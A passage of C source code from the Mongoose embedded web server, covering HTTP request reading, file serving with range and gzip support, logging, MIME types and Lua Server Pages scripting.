while (len > 0 && conn->ctx->stop_flag == 0) {
n = pull(fp, conn, buf + nread, len);
if (n < 0) {
nread = n; // Propagate the error
break;
} else if (n == 0) {
break; // No more data to read
} else {
nread += n;
len -= n;
}
}
return nread;
}
int mg_read(struct mg_connection *conn, void *buf, int len) {
int n, buffered_len, nread = 0;
int64_t left;
if (conn->content_len <= 0) {
return 0;
}
// conn->buf body
// |=================|==========|===============|
// |<--request_len-->| |
// |<-----------data_len------->| conn->buf + conn->buf_size
// First, check for data buffered in conn->buf by read_request().
if (len > 0 && (buffered_len = conn->data_len - conn->request_len) > 0) {
char *body = conn->buf + conn->request_len;
if (buffered_len > len) buffered_len = len;
if (buffered_len > conn->content_len) buffered_len = (int)conn->content_len;
memcpy(buf, body, (size_t) buffered_len);
memmove(body, body + buffered_len,
&conn->buf[conn->data_len] - &body[buffered_len]);
len -= buffered_len;
conn->data_len -= buffered_len;
nread += buffered_len;
}
// Read data from the socket.
if (len > 0 && (left = left_to_read(conn)) > 0) {
if (left < len) {
len = (int) left;
}
n = pull_all(NULL, conn, (char *) buf + nread, (int) len);
nread = n >= 0 ? nread + n : n;
}
return nread;
}
int mg_write(struct mg_connection *conn, const void *buf, int len) {
return (int) push(NULL, conn->client.sock, conn->ssl, (const char *) buf,
(int64_t) len);
}
// Keep reading the input (either opened file descriptor fd, or socket sock,
// or SSL descriptor ssl) into buffer buf, until \r\n\r\n appears in the
// buffer (which marks the end of HTTP request). Buffer buf may already
// have some data. The length of the data is stored in nread.
// Upon every read operation, increase nread by the number of bytes read.
static int read_request(FILE *fp, struct mg_connection *conn,
char *buf, int bufsiz, int *nread) {
int request_len, n = 0;
request_len = get_request_len(buf, *nread);
while (conn->ctx->stop_flag == 0 &&
*nread < bufsiz &&
request_len == 0 &&
(n = pull(fp, conn, buf + *nread, bufsiz - *nread)) > 0) {
*nread += n;
assert(*nread <= bufsiz);
request_len = get_request_len(buf, *nread);
}
return request_len <= 0 && n <= 0 ? -1 : request_len;
}
// Send len bytes from the opened file to the client.
static void send_file_data(struct mg_connection *conn, FILE *fp,
int64_t offset, int64_t len) {
char buf[MG_BUF_LEN];
int num_read, num_written, to_read;
// If offset is beyond file boundaries, don't send anything
if (offset > 0 && fseeko(fp, offset, SEEK_SET) != 0) {
return;
}
while (len > 0) {
// Calculate how much to read from the file in the buffer
to_read = sizeof(buf);
if ((int64_t) to_read > len) {
to_read = (int) len;
}
// Read from file, exit the loop on error
if ((num_read = fread(buf, 1, (size_t) to_read, fp)) <= 0) {
break;
}
// Send read bytes to the client, exit the loop on error
if ((num_written = mg_write(conn, buf, (size_t) num_read)) != num_read) {
break;
}
// Both read and were successful, adjust counters
conn->num_bytes_sent += num_written;
len -= num_written;
}
}
#include "internal.h"
static void log_header(const struct mg_connection *conn, const char *header,
FILE *fp) {
const char *header_value;
if ((header_value = mg_get_header(conn, header)) == NULL) {
(void) fprintf(fp, "%s", " -");
} else {
(void) fprintf(fp, " \"%s\"", header_value);
}
}
static void log_access(const struct mg_connection *conn) {
const struct mg_request_info *ri;
FILE *fp;
char date[64], src_addr[IP_ADDR_STR_LEN];
fp = conn->ctx->config[ACCESS_LOG_FILE] == NULL ? NULL :
fopen(conn->ctx->config[ACCESS_LOG_FILE], "a+");
if (fp == NULL)
return;
strftime(date, sizeof(date), "%d/%b/%Y:%H:%M:%S %z",
localtime(&conn->birth_time));
ri = &conn->request_info;
flockfile(fp);
sockaddr_to_string(src_addr, sizeof(src_addr), &conn->client.rsa);
fprintf(fp, "%s - %s [%s] \"%s %s HTTP/%s\" %d %" INT64_FMT,
src_addr, ri->remote_user == NULL ? "-" : ri->remote_user, date,
ri->request_method ? ri->request_method : "-",
ri->uri ? ri->uri : "-", ri->http_version,
conn->status_code, conn->num_bytes_sent);
log_header(conn, "Referer", fp);
log_header(conn, "User-Agent", fp);
fputc('\n', fp);
fflush(fp);
funlockfile(fp);
fclose(fp);
}
#include "internal.h"
#ifdef USE_LUA
#ifdef _WIN32
static void *mmap(void *addr, int64_t len, int prot, int flags, int fd,
int offset) {
HANDLE fh = (HANDLE) _get_osfhandle(fd);
HANDLE mh = CreateFileMapping(fh, 0, PAGE_READONLY, 0, 0, 0);
void *p = MapViewOfFile(mh, FILE_MAP_READ, 0, 0, (size_t) len);
CloseHandle(mh);
return p;
}
#define munmap(x, y) UnmapViewOfFile(x)
#define MAP_FAILED NULL
#define MAP_PRIVATE 0
#define PROT_READ 0
#else
#include <sys/mman.h>
#endif
static const char *LUASOCKET = "luasocket";
// Forward declarations
static int handle_lsp_request(struct mg_connection *, const char *,
struct file *, struct lua_State *);
static void reg_string(struct lua_State *L, const char *name, const char *val) {
lua_pushstring(L, name);
lua_pushstring(L, val);
lua_rawset(L, -3);
}
static void reg_int(struct lua_State *L, const char *name, int val) {
lua_pushstring(L, name);
lua_pushinteger(L, val);
lua_rawset(L, -3);
}
static void reg_function(struct lua_State *L, const char *name,
lua_CFunction func, struct mg_connection *conn) {
lua_pushstring(L, name);
lua_pushlightuserdata(L, conn);
lua_pushcclosure(L, func, 1);
lua_rawset(L, -3);
}
static int lsp_sock_close(lua_State *L) {
if (lua_gettop(L) > 0 && lua_istable(L, -1)) {
lua_getfield(L, -1, "sock");
closesocket((SOCKET) lua_tonumber(L, -1));
} else {
return luaL_error(L, "invalid :close() call");
}
return 1;
}
static int lsp_sock_recv(lua_State *L) {
char buf[2000];
int n;
if (lua_gettop(L) > 0 && lua_istable(L, -1)) {
lua_getfield(L, -1, "sock");
n = recv((SOCKET) lua_tonumber(L, -1), buf, sizeof(buf), 0);
if (n <= 0) {
lua_pushnil(L);
} else {
lua_pushlstring(L, buf, n);
}
} else {
return luaL_error(L, "invalid :close() call");
}
return 1;
}
static int lsp_sock_send(lua_State *L) {
const char *buf;
size_t len, sent = 0;
int n, sock;
if (lua_gettop(L) > 1 && lua_istable(L, -2) && lua_isstring(L, -1)) {
buf = lua_tolstring(L, -1, &len);
lua_getfield(L, -2, "sock");
sock = (int) lua_tonumber(L, -1);
while (sent < len) {
if ((n = send(sock, buf + sent, len - sent, 0)) <= 0) {
break;
}
sent += n;
}
lua_pushnumber(L, n);
} else {
return luaL_error(L, "invalid :close() call");
}
return 1;
}
static const struct luaL_Reg luasocket_methods[] = {
{"close", lsp_sock_close},
{"send", lsp_sock_send},
{"recv", lsp_sock_recv},
{NULL, NULL}
};
static int lsp_connect(lua_State *L) {
char ebuf[100];
SOCKET sock;
if (lua_isstring(L, -3) && lua_isnumber(L, -2) && lua_isnumber(L, -1)) {
sock = conn2(lua_tostring(L, -3), (int) lua_tonumber(L, -2),
(int) lua_tonumber(L, -1), ebuf, sizeof(ebuf));
if (sock == INVALID_SOCKET) {
return luaL_error(L, ebuf);
} else {
lua_newtable(L);
reg_int(L, "sock", sock);
reg_string(L, "host", lua_tostring(L, -4));
luaL_getmetatable(L, LUASOCKET);
lua_setmetatable(L, -2);
}
} else {
return luaL_error(L, "connect(host,port,is_ssl): invalid parameter given.");
}
return 1;
}
static int lsp_error(lua_State *L) {
lua_getglobal(L, "mg");
lua_getfield(L, -1, "onerror");
lua_pushvalue(L, -3);
lua_pcall(L, 1, 0, 0);
return 0;
}
// Silently stop processing chunks.
static void lsp_abort(lua_State *L) {
int top = lua_gettop(L);
lua_getglobal(L, "mg");
lua_pushnil(L);
lua_setfield(L, -2, "onerror");
lua_settop(L, top);
lua_pushstring(L, "aborting");
lua_error(L);
}
static int lsp(struct mg_connection *conn, const char *path,
const char *p, int64_t len, lua_State *L) {
int i, j, pos = 0, lines = 1, lualines = 0;
char chunkname[MG_BUF_LEN];
for (i = 0; i < len; i++) {
if (p[i] == '\n') lines++;
if (p[i] == '<' && p[i + 1] == '?') {
for (j = i + 1; j < len ; j++) {
if (p[j] == '\n') lualines++;
if (p[j] == '?' && p[j + 1] == '>') {
mg_write(conn, p + pos, i - pos);
snprintf(chunkname, sizeof(chunkname), "@%s+%i", path, lines);
lua_pushlightuserdata(L, conn);
lua_pushcclosure(L, lsp_error, 1);
if (luaL_loadbuffer(L, p + (i + 2), j - (i + 2), chunkname)) {
// Syntax error or OOM. Error message is pushed on stack.
lua_pcall(L, 1, 0, 0);
} else {
// Success loading chunk. Call it.
lua_pcall(L, 0, 0, 1);
}
pos = j + 2;
i = pos - 1;
break;
}
}
if (lualines > 0) {
lines += lualines;
lualines = 0;
}
}
}
if (i > pos) {
mg_write(conn, p + pos, i - pos);
}
return 0;
}
static int lsp_write(lua_State *L) {
int i, num_args;
const char *str;
size_t size;
struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
num_args = lua_gettop(L);
for (i = 1; i <= num_args; i++) {
if (lua_isstring(L, i)) {
str = lua_tolstring(L, i, &size);
mg_write(conn, str, size);
}
}
return 0;
}
static int lsp_read(lua_State *L) {
struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
char buf[1024];
int len = mg_read(conn, buf, sizeof(buf));
if (len <= 0) return 0;
lua_pushlstring(L, buf, len);
return 1;
}
// mg.include: Include another .lp file
static int lsp_include(lua_State *L) {
struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
struct file file = STRUCT_FILE_INITIALIZER;
if (handle_lsp_request(conn, lua_tostring(L, -1), &file, L)) {
// handle_lsp_request returned an error code, meaning an error occured in
// the included page and mg.onerror returned non-zero. Stop processing.
lsp_abort(L);
}
return 0;
}
// mg.cry: Log an error. Default value for mg.onerror.
static int lsp_cry(lua_State *L){
struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
cry(conn, "%s", lua_tostring(L, -1));
return 0;
}
// mg.redirect: Redirect the request (internally).
static int lsp_redirect(lua_State *L) {
struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
conn->request_info.uri = lua_tostring(L, -1);
handle_request(conn);
lsp_abort(L);
return 0;
}
static void prepare_lua_environment(struct mg_connection *conn, lua_State *L) {
const struct mg_request_info *ri = &conn->request_info;
extern void luaL_openlibs(lua_State *);
int i;
luaL_openlibs(L);
#ifdef USE_LUA_SQLITE3
{ extern int luaopen_lsqlite3(lua_State *); luaopen_lsqlite3(L); }
#endif
luaL_newmetatable(L, LUASOCKET);
lua_pushliteral(L, "__index");
luaL_newlib(L, luasocket_methods);
lua_rawset(L, -3);
lua_pop(L, 1);
lua_register(L, "connect", lsp_connect);
if (conn == NULL) return;
// Register mg module
lua_newtable(L);
reg_function(L, "read", lsp_read, conn);
reg_function(L, "write", lsp_write, conn);
reg_function(L, "cry", lsp_cry, conn);
reg_function(L, "include", lsp_include, conn);
reg_function(L, "redirect", lsp_redirect, conn);
reg_string(L, "version", MONGOOSE_VERSION);
// Export request_info
lua_pushstring(L, "request_info");
lua_newtable(L);
reg_string(L, "request_method", ri->request_method);
reg_string(L, "uri", ri->uri);
reg_string(L, "http_version", ri->http_version);
reg_string(L, "query_string", ri->query_string);
reg_int(L, "remote_ip", ri->remote_ip);
reg_int(L, "remote_port", ri->remote_port);
reg_int(L, "num_headers", ri->num_headers);
lua_pushstring(L, "http_headers");
lua_newtable(L);
for (i = 0; i < ri->num_headers; i++) {
reg_string(L, ri->http_headers[i].name, ri->http_headers[i].value);
}
lua_rawset(L, -3);
lua_rawset(L, -3);
lua_setglobal(L, "mg");
// Register default mg.onerror function
luaL_dostring(L, "mg.onerror = function(e) mg.write('\\nLua error:\\n', "
"debug.traceback(e, 1)) end");
}
static int lua_error_handler(lua_State *L) {
const char *error_msg = lua_isstring(L, -1) ? lua_tostring(L, -1) : "?\n";
lua_getglobal(L, "mg");
if (!lua_isnil(L, -1)) {
lua_getfield(L, -1, "write"); // call mg.write()
lua_pushstring(L, error_msg);
lua_pushliteral(L, "\n");
lua_call(L, 2, 0);
luaL_dostring(L, "mg.write(debug.traceback(), '\\n')");
} else {
printf("Lua error: [%s]\n", error_msg);
luaL_dostring(L, "print(debug.traceback(), '\\n')");
}
// TODO(lsm): leave the stack balanced
return 0;
}
void mg_exec_lua_script(struct mg_connection *conn, const char *path,
const void **exports) {
int i;
lua_State *L;
if (path != NULL && (L = luaL_newstate()) != NULL) {
prepare_lua_environment(conn, L);
lua_pushcclosure(L, &lua_error_handler, 0);
lua_pushglobaltable(L);
if (exports != NULL) {
for (i = 0; exports[i] != NULL && exports[i + 1] != NULL; i += 2) {
lua_pushstring(L, exports[i]);
lua_pushcclosure(L, (lua_CFunction) exports[i + 1], 0);
lua_rawset(L, -3);
}
}
if (luaL_loadfile(L, path) != 0) {
lua_error_handler(L);
}
lua_pcall(L, 0, 0, -2);
lua_close(L);
}
}
static void lsp_send_err(struct mg_connection *conn, struct lua_State *L,
const char *fmt, ...) {
char buf[MG_BUF_LEN];
va_list ap;
va_start(ap, fmt);
vsnprintf(buf, sizeof(buf), fmt, ap);
va_end(ap);
if (L == NULL) {
send_http_error(conn, 500, http_500_error, "%s", buf);
} else {
lua_pushstring(L, buf);
lua_error(L);
}
}
static int handle_lsp_request(struct mg_connection *conn, const char *path,
struct file *filep, struct lua_State *ls) {
void *p = NULL;
lua_State *L = NULL;
FILE *fp = NULL;
int error = 1;
// We need both mg_stat to get file size, and mg_fopen to get fd
if (!mg_stat(path, filep) || (fp = mg_fopen(path, "r")) == NULL) {
lsp_send_err(conn, ls, "File [%s] not found", path);
} else if ((p = mmap(NULL, (size_t) filep->size, PROT_READ, MAP_PRIVATE,
fileno(fp), 0)) == MAP_FAILED) {
lsp_send_err(conn, ls, "mmap(%s, %zu, %d): %s", path, (size_t) filep->size,
fileno(fp), strerror(errno));
} else if ((L = ls != NULL ? ls : luaL_newstate()) == NULL) {
send_http_error(conn, 500, http_500_error, "%s", "luaL_newstate failed");
} else {
// We're not sending HTTP headers here, Lua page must do it.
if (ls == NULL) {
prepare_lua_environment(conn, L);
}
error = lsp(conn, path, p, filep->size, L);
}
if (L != NULL && ls == NULL) lua_close(L);
if (p != NULL) munmap(p, filep->size);
fclose(fp);
return error;
}
#endif // USE_LUA
#include "internal.h"
// Print message to buffer. If buffer is large enough to hold the message,
// return buffer. If buffer is to small, allocate large enough buffer on heap,
// and return allocated buffer.
static int alloc_vprintf(char **buf, size_t size, const char *fmt, va_list ap) {
va_list ap_copy;
int len;
// Windows is not standard-compliant, and vsnprintf() returns -1 if
// buffer is too small. Also, older versions of msvcrt.dll do not have
// _vscprintf(). However, if size is 0, vsnprintf() behaves correctly.
// Therefore, we make two passes: on first pass, get required message length.
// On second pass, actually print the message.
va_copy(ap_copy, ap);
len = vsnprintf(NULL, 0, fmt, ap_copy);
if (len > (int) size &&
(size = len + 1) > 0 &&
(*buf = (char *) malloc(size)) == NULL) {
len = -1; // Allocation failed, mark failure
} else {
va_copy(ap_copy, ap);
vsnprintf(*buf, size, fmt, ap_copy);
}
return len;
}
int mg_vprintf(struct mg_connection *conn, const char *fmt, va_list ap) {
char mem[MG_BUF_LEN], *buf = mem;
int len;
if ((len = alloc_vprintf(&buf, sizeof(mem), fmt, ap)) > 0) {
len = mg_write(conn, buf, (size_t) len);
}
if (buf != mem && buf != NULL) {
free(buf);
}
return len;
}
int mg_printf(struct mg_connection *conn, const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
return mg_vprintf(conn, fmt, ap);
}
static int mg_chunked_printf(struct mg_connection *conn, const char *fmt, ...) {
char mem[MG_BUF_LEN], *buf = mem;
int len;
va_list ap;
va_start(ap, fmt);
if ((len = alloc_vprintf(&buf, sizeof(mem), fmt, ap)) > 0) {
len = mg_printf(conn, "%X\r\n%s\r\n", len, buf);
}
if (buf != mem && buf != NULL) {
free(buf);
}
return len;
}
#include "internal.h"
static const struct {
const char *extension;
size_t ext_len;
const char *mime_type;
} builtin_mime_types[] = {
{".html", 5, "text/html"},
{".htm", 4, "text/html"},
{".shtm", 5, "text/html"},
{".shtml", 6, "text/html"},
{".css", 4, "text/css"},
{".js", 3, "application/x-javascript"},
{".ico", 4, "image/x-icon"},
{".gif", 4, "image/gif"},
{".jpg", 4, "image/jpeg"},
{".jpeg", 5, "image/jpeg"},
{".png", 4, "image/png"},
{".svg", 4, "image/svg+xml"},
{".txt", 4, "text/plain"},
{".torrent", 8, "application/x-bittorrent"},
{".wav", 4, "audio/x-wav"},
{".mp3", 4, "audio/x-mp3"},
{".mid", 4, "audio/mid"},
{".m3u", 4, "audio/x-mpegurl"},
{".ogg", 4, "application/ogg"},
{".ram", 4, "audio/x-pn-realaudio"},
{".xml", 4, "text/xml"},
{".json", 5, "text/json"},
{".xslt", 5, "application/xml"},
{".xsl", 4, "application/xml"},
{".ra", 3, "audio/x-pn-realaudio"},
{".doc", 4, "application/msword"},
{".exe", 4, "application/octet-stream"},
{".zip", 4, "application/x-zip-compressed"},
{".xls", 4, "application/excel"},
{".tgz", 4, "application/x-tar-gz"},
{".tar", 4, "application/x-tar"},
{".gz", 3, "application/x-gunzip"},
{".arj", 4, "application/x-arj-compressed"},
{".rar", 4, "application/x-arj-compressed"},
{".rtf", 4, "application/rtf"},
{".pdf", 4, "application/pdf"},
{".swf", 4, "application/x-shockwave-flash"},
{".mpg", 4, "video/mpeg"},
{".webm", 5, "video/webm"},
{".mpeg", 5, "video/mpeg"},
{".mov", 4, "video/quicktime"},
{".mp4", 4, "video/mp4"},
{".m4v", 4, "video/x-m4v"},
{".asf", 4, "video/x-ms-asf"},
{".avi", 4, "video/x-msvideo"},
{".bmp", 4, "image/bmp"},
{".ttf", 4, "application/x-font-ttf"},
{NULL, 0, NULL}
};
const char *mg_get_builtin_mime_type(const char *path) {
const char *ext;
size_t i, path_len;
path_len = strlen(path);
for (i = 0; builtin_mime_types[i].extension != NULL; i++) {
ext = path + (path_len - builtin_mime_types[i].ext_len);
if (path_len > builtin_mime_types[i].ext_len &&
mg_strcasecmp(ext, builtin_mime_types[i].extension) == 0) {
return builtin_mime_types[i].mime_type;
}
}
return "text/plain";
}
// Look at the "path" extension and figure what mime type it has.
// Store mime type in the vector.
static void get_mime_type(struct mg_context *ctx, const char *path,
struct vec *vec) {
struct vec ext_vec, mime_vec;
const char *list, *ext;
size_t path_len;
path_len = strlen(path);
// Scan user-defined mime types first, in case user wants to
// override default mime types.
list = ctx->config[EXTRA_MIME_TYPES];
while ((list = next_option(list, &ext_vec, &mime_vec)) != NULL) {
// ext now points to the path suffix
ext = path + path_len - ext_vec.len;
if (mg_strncasecmp(ext, ext_vec.ptr, ext_vec.len) == 0) {
*vec = mime_vec;
return;
}
}
vec->ptr = mg_get_builtin_mime_type(path);
vec->len = strlen(vec->ptr);
}
#include "internal.h"
static int call_user(int type, struct mg_connection *conn, void *p) {
if (conn != NULL && conn->ctx != NULL) {
conn->event.user_data = conn->ctx->user_data;
conn->event.type = type;
conn->event.event_param = p;
conn->event.request_info = &conn->request_info;
conn->event.conn = conn;
}
return conn == NULL || conn->ctx == NULL || conn->ctx->event_handler == NULL ?
0 : conn->ctx->event_handler(&conn->event);
}
static int mg_socketpair(sock_t sp[2]) {
struct sockaddr_in sa;
sock_t sock, ret = -1;
socklen_t len = sizeof(sa);
sp[0] = sp[1] = INVALID_SOCKET;
(void) memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(0);
sa.sin_addr.s_addr = htonl(0x7f000001);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) != INVALID_SOCKET &&
!bind(sock, (struct sockaddr *) &sa, len) &&
!listen(sock, 1) &&
!getsockname(sock, (struct sockaddr *) &sa, &len) &&
(sp[0] = socket(AF_INET, SOCK_STREAM, 6)) != -1 &&
!connect(sp[0], (struct sockaddr *) &sa, len) &&
(sp[1] = accept(sock,(struct sockaddr *) &sa, &len)) != INVALID_SOCKET) {
set_close_on_exec(sp[0]);
set_close_on_exec(sp[1]);
ret = 0;
} else {
if (sp[0] != INVALID_SOCKET) closesocket(sp[0]);
if (sp[1] != INVALID_SOCKET) closesocket(sp[1]);
sp[0] = sp[1] = INVALID_SOCKET;
}
closesocket(sock);
return ret;
}
static FILE *mg_fopen(const char *path, const char *mode) {
#ifdef _WIN32
wchar_t wbuf[PATH_MAX], wmode[20];
to_unicode(path, wbuf, ARRAY_SIZE(wbuf));
MultiByteToWideChar(CP_UTF8, 0, mode, -1, wmode, ARRAY_SIZE(wmode));
return _wfopen(wbuf, wmode);
#else
return fopen(path, mode);
#endif
}
// Print error message to the opened error log stream.
static void cry(struct mg_connection *conn, const char *fmt, ...) {
char buf[MG_BUF_LEN], src_addr[IP_ADDR_STR_LEN];
va_list ap;
FILE *fp;
time_t timestamp;
va_start(ap, fmt);
(void) vsnprintf(buf, sizeof(buf), fmt, ap);
va_end(ap);
// Do not lock when getting the callback value, here and below.
// I suppose this is fine, since function cannot disappear in the
// same way string option can.
if (call_user(MG_EVENT_LOG, conn, buf) == 0) {
fp = conn->ctx == NULL || conn->ctx->config[ERROR_LOG_FILE] == NULL ? NULL :
fopen(conn->ctx->config[ERROR_LOG_FILE], "a+");
if (fp != NULL) {
flockfile(fp);
timestamp = time(NULL);
sockaddr_to_string(src_addr, sizeof(src_addr), &conn->client.rsa);
fprintf(fp, "[%010lu] [error] [client %s] ", (unsigned long) timestamp,
src_addr);
if (conn->request_info.request_method != NULL) {
fprintf(fp, "%s %s: ", conn->request_info.request_method,
conn->request_info.uri);
}
fprintf(fp, "%s", buf);
fputc('\n', fp);
funlockfile(fp);
fclose(fp);
}
}
}
const char *mg_version(void) {
return MONGOOSE_VERSION;
}
// HTTP 1.1 assumes keep alive if "Connection:" header is not set
// This function must tolerate situations when connection info is not
// set up, for example if request parsing failed.
static int should_keep_alive(const struct mg_connection *conn) {
const char *http_version = conn->request_info.http_version;
const char *header = mg_get_header(conn, "Connection");
if (conn->must_close ||
conn->status_code == 401 ||
mg_strcasecmp(conn->ctx->config[ENABLE_KEEP_ALIVE], "yes") != 0 ||
(header != NULL && mg_strcasecmp(header, "keep-alive") != 0) ||
(header == NULL && http_version && strcmp(http_version, "1.1"))) {
return 0;
}
return 1;
}
static const char *suggest_connection_header(const struct mg_connection *conn) {
return should_keep_alive(conn) ? "keep-alive" : "close";
}
static void send_http_error(struct mg_connection *conn, int status,
const char *reason, const char *fmt, ...) {
char buf[MG_BUF_LEN];
va_list ap;
int len = 0;
conn->status_code = status;
buf[0] = '\0';
// Errors 1xx, 204 and 304 MUST NOT send a body
if (status > 199 && status != 204 && status != 304) {
len = mg_snprintf(buf, sizeof(buf), "Error %d: %s", status, reason);
buf[len++] = '\n';
va_start(ap, fmt);
len += mg_vsnprintf(buf + len, sizeof(buf) - len, fmt, ap);
va_end(ap);
}
DEBUG_TRACE(("[%s]", buf));
if (call_user(MG_HTTP_ERROR, conn, (void *) (long) status) == 0) {
mg_printf(conn, "HTTP/1.1 %d %s\r\n"
"Content-Length: %d\r\n"
"Connection: %s\r\n\r\n", status, reason, len,
suggest_connection_header(conn));
conn->num_bytes_sent += mg_printf(conn, "%s", buf);
}
if (status >= 500) {
conn->must_close = 1;
}
}
// Return 1 if real file has been found, 0 otherwise
static int convert_uri_to_file_name(struct mg_connection *conn, char *buf,
size_t buf_len, struct file *filep) {
struct vec a, b;
const char *rewrite, *uri = conn->request_info.uri,
*root = conn->ctx->config[DOCUMENT_ROOT];
char *p;
int match_len;
char gz_path[PATH_MAX];
char const* accept_encoding;
// No filesystem access
if (root == NULL) {
return 0;
}
// Using buf_len - 1 because memmove() for PATH_INFO may shift part
// of the path one byte on the right.
// If document_root is NULL, leave the file empty.
mg_snprintf(buf, buf_len - 1, "%s%s", root, uri);
rewrite = conn->ctx->config[REWRITE];
while ((rewrite = next_option(rewrite, &a, &b)) != NULL) {
if ((match_len = match_prefix(a.ptr, a.len, uri)) > 0) {
mg_snprintf(buf, buf_len - 1, "%.*s%s", (int) b.len, b.ptr,
uri + match_len);
break;
}
}
if (mg_stat(buf, filep)) {
return 1;
}
// if we can't find the actual file, look for the file
// with the same name but a .gz extension. If we find it,
// use that and set the gzipped flag in the file struct
// to indicate that the response need to have the content-
// encoding: gzip header
// we can only do this if the browser declares support
if ((accept_encoding = mg_get_header(conn, "Accept-Encoding")) != NULL) {
if (strstr(accept_encoding,"gzip") != NULL) {
snprintf(gz_path, sizeof(gz_path), "%s.gz", buf);
if (mg_stat(gz_path, filep)) {
filep->gzipped = 1;
return 1;
}
}
}
// Support PATH_INFO for CGI scripts.
for (p = buf + strlen(root == NULL ? "" : root); *p != '\0'; p++) {
if (*p == '/') {
*p = '\0';
if (match_prefix(conn->ctx->config[CGI_EXTENSIONS],
strlen(conn->ctx->config[CGI_EXTENSIONS]), buf) > 0 &&
mg_stat(buf, filep)) {
// Shift PATH_INFO block one character right, e.g.
// "/x.cgi/foo/bar\x00" => "/x.cgi\x00/foo/bar\x00"
// conn->path_info is pointing to the local variable "path" declared
// in handle_request(), so PATH_INFO is not valid after
// handle_request returns.
conn->path_info = p + 1;
memmove(p + 2, p + 1, strlen(p + 1) + 1); // +1 is for trailing \0
p[1] = '/';
return 1;
} else {
*p = '/';
}
}
}
return 0;
}
static void construct_etag(char *buf, size_t buf_len,
const struct file *filep) {
snprintf(buf, buf_len, "\"%lx.%" INT64_FMT "\"",
(unsigned long) filep->modification_time, filep->size);
}
static void fclose_on_exec(FILE *fp) {
if (fp != NULL) {
#ifndef _WIN32
fcntl(fileno(fp), F_SETFD, FD_CLOEXEC);
#endif
}
}
static void handle_file_request(struct mg_connection *conn, const char *path,
struct file *filep) {
char date[64], lm[64], etag[64], range[64];
const char *msg = "OK", *hdr;
time_t curtime = time(NULL);
int64_t cl, r1, r2;
struct vec mime_vec;
int n;
char gz_path[PATH_MAX];
char const* encoding = "";
FILE *fp;
get_mime_type(conn->ctx, path, &mime_vec);
cl = filep->size;
conn->status_code = 200;
range[0] = '\0';
// if this file is in fact a pre-gzipped file, rewrite its filename
// it's important to rewrite the filename after resolving
// the mime type from it, to preserve the actual file's type
if (filep->gzipped) {
snprintf(gz_path, sizeof(gz_path), "%s.gz", path);
path = gz_path;
encoding = "Content-Encoding: gzip\r\n";
}
if ((fp = mg_fopen(path, "rb")) == NULL) {
send_http_error(conn, 500, http_500_error,
"fopen(%s): %s", path, strerror(ERRNO));
return;
}
fclose_on_exec(fp);
// If Range: header specified, act accordingly
r1 = r2 = 0;
hdr = mg_get_header(conn, "Range");
if (hdr != NULL && (n = parse_range_header(hdr, &r1, &r2)) > 0 &&
r1 >= 0 && r2 >= 0) {
// actually, range requests don't play well with a pre-gzipped
// file (since the range is specified in the uncmpressed space)
if (filep->gzipped) {
send_http_error(conn, 501, "Not Implemented",
"range requests in gzipped files are not supported");
return;
}
conn->status_code = 206;
cl = n == 2 ? (r2 > cl ? cl : r2) - r1 + 1: cl - r1;
mg_snprintf(range, sizeof(range),
"Content-Range: bytes "
"%" INT64_FMT "-%"
INT64_FMT "/%" INT64_FMT "\r\n",
r1, r1 + cl - 1, filep->size);
msg = "Partial Content";
}
// Prepare Etag, Date, Last-Modified headers. Must be in UTC, according to
// http://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.3
gmt_time_string(date, sizeof(date), &curtime);
gmt_time_string(lm, sizeof(lm), &filep->modification_time);
construct_etag(etag, sizeof(etag), filep);
(void) mg_printf(conn,
"HTTP/1.1 %d %s\r\n"
"Date: %s\r\n"
"Last-Modified: %s\r\n"
"Etag: %s\r\n"
"Content-Type: %.*s\r\n"
"Content-Length: %" INT64_FMT "\r\n"
"Connection: %s\r\n"
"Accept-Ranges: bytes\r\n"
"%s%s%s\r\n",
conn->status_code, msg, date, lm, etag, (int) mime_vec.len,
mime_vec.ptr, cl, suggest_connection_header(conn), range, encoding,
EXTRA_HTTP_HEADERS);
if (strcmp(conn->request_info.request_method, "HEAD") != 0) {
send_file_data(conn, fp, r1, cl);
}
fclose(fp);
}
void mg_send_file(struct mg_connection *conn, const char *path) {
struct file file = STRUCT_FILE_INITIALIZER;
if (mg_stat(path, &file)) {
handle_file_request(conn, path, &file);
} else {
send_http_error(conn, 404, "Not Found", "%s", "File not found");
}
}
// For given directory path, substitute it to valid index file.
// Return 0 if index file has been found, -1 if not found.
// If the file is found, it's stats is returned in stp.
static int substitute_index_file(struct mg_connection *conn, char *path,
size_t path_len, struct file *filep) {
const char *list = conn->ctx->config[INDEX_FILES];
struct file file = STRUCT_FILE_INITIALIZER;
struct vec filename_vec;
size_t n = strlen(path);
int found = 0;
// The 'path' given to us points to the directory. Remove all trailing
// directory separator characters from the end of the path, and
// then append single directory separator character.
while (n > 0 && path[n - 1] == '/') {
n--;
}
path[n] = '/';
// Traverse index files list. For each entry, append it to the given
// path and see if the file exists. If it exists, break the loop
while ((list = next_option(list, &filename_vec, NULL)) != NULL) {
// Ignore too long entries that may overflow path buffer
if (filename_vec.len > path_len - (n + 2))
continue;
// Prepare full path to the index file
mg_strlcpy(path + n + 1, filename_vec.ptr, filename_vec.len + 1);
// Does it exist?
if (mg_stat(path, &file)) {
// Yes it does, break the loop
*filep = file;
found = 1;
break;
}
}
// If no index file exists, restore directory path
if (!found) {
path[n] = '\0';
}
return found;
}
// Return True if we should reply 304 Not Modified.
static int is_not_modified(const struct mg_connection *conn,
const struct file *filep) {
char etag[64];
const char *ims = mg_get_header(conn, "If-Modified-Since");
const char *inm = mg_get_header(conn, "If-None-Match");
construct_etag(etag, sizeof(etag), filep);
return (inm != NULL && !mg_strcasecmp(etag, inm)) ||
(ims != NULL && filep->modification_time <= parse_date_string(ims));
}
static void mkcol(struct mg_connection *conn, const char *path) {
int rc, body_len;
struct de de;
memset(&de.file, 0, sizeof(de.file));
mg_stat(path, &de.file);
if (de.file.modification_time) {
send_http_error(conn, 405, "Method Not Allowed",
"mkcol(%s): %s", path, strerror(ERRNO));
return;
}
body_len = conn->data_len - conn->request_len;
if(body_len > 0) {
send_http_error(conn, 415, "Unsupported media type",
